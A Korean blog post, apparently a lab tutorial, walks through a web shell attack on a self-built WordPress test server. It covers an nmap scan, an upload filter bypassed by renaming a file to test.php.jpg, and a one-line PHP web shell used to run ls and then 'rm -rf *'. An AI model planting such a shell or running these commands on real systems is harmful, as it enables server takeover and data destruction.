안녕하세요 빵끗미에요

오늘은 web shell 해킹 시나리오를 만들어 볼게요
해킹 시나리오를 만들 때에는 아래와 같이 주의사항이 있어요
1) 해킹은 실제 사용 중인 사이트를 공격하게 되면 법적인 문제가 발생될 수 있어요. 때문에 테스트를 진행할 경우 테스트 환경을 구성해야 돼요
2) 취약점 스캔 툴을 돌릴 경우 의미 없는 데이터 값이 db에 등록될 수 있어요
이제 주의사항까지 알아봤다면 해킹 시나리오 시작해 볼까요?
웹셀 이란?
웹셀은 웹 서버의 업로드 취약점을 통해 시스템 명령어를 내릴 수 있는 악성코드를 작성한뒤 악성파일을 업로드하여 손 쉽게 해커들이 서버를 장악하게 되요.
첫 번째 webshell 공격하기 위해서는 테스트용 웹 서버 및 공격용 서버를 구축해야 돼요
ㄴ 작성자는 이미 만들어 놓은 테스트용 웹 서버가 있어요
ㄴ 웹 테스트 서버 OS: 우분투 22.04
ㄴ 웹 서버 : nginx1.80/ mariadb 15.2 / php 8.1
ㄴ 웹 보드 : wordpress
ㄴ 공격자 테스트 서버 OS : 칼리
두 번째 웹사이트 구축이 되었다면 kail liux에서 nmap tools를 이용하여 웹 서버 정보를 확인할게요
ㄴ명령어 nmap -A -v 192.168.0.136 사용했어요
ㄴ os에서 open 되어 있는 port 정보가 보이네요
![]() |
세 번째 테스트 웹으로 와서 파일 업로드가 가능한 게시판을 찾아요
![]() |
네 번째 업로드가 가능한 확장자를 확인해야 돼요
ㄴ 임시로 파일을 만들어 업로드 시도를 해볼게요
ㄴ 테스트 웹은 허용된 확장자가 jpg, gif, png만 업로드 허용하고 있어요
![]() |
다섯 번째 업로드되는 경로 확인할게요
ㄴ 파일 업로드 후 웹에서 오른쪽 마우스로 클릭하게 되면 소스보기를 눌러주세요
ㄴ소스 보기를 통해서 업로드된 경로를 확인할 수 있어요
![]() |
여섯 번째 이젠 악성 코드를 작성하여 업로드 시도해볼게요.
<pre> <?php system($_GET['cmd’]) ?> </pre> |
시스템을 사용 할 수 있도록 하는 악성코드 이에요 |
일곱 번째 작성된 악성파일을 업로드할 수 있도록 확장자 파일을 변경하여 진행할 께요
![]() |
확장자 명 : test.php.jpg 변경 |
여덟 번째 테스트 웹으로 돌아와서 악성파일을 업로드해볼게요.
ㄴ 게시판에서 업로드 시도할 경우 정상적으로 업로드 성공했어요
ㄴ 악성파일 업로드 경로를 확인하기 위해서 소스를 확인해 볼게요
![]() |
![]() |
![]() |
아홉 번째 업로드된 경로를 파악했다면 이제 악성파일을 실행해 볼게요
ㄴ http://192.168.0.136/test2/data/2020_07_16_22_47_50_0.php에 cmd=ls 명령어를 하게 될 경우 파일 리스트를 확인 할 수 있어요.
![]() |
열 번째 업로드된 확장자 jpg 파일을 삭제를 해볼게요
ㄴ 명령어 rm -rf * 를 사용할 경우 현재 디렉터리에 있는 파일 전부를 삭제가 돼요
![]() |
정상적으로 삭제가 되었다면 웹셀 공격 성공!!!!!
댓글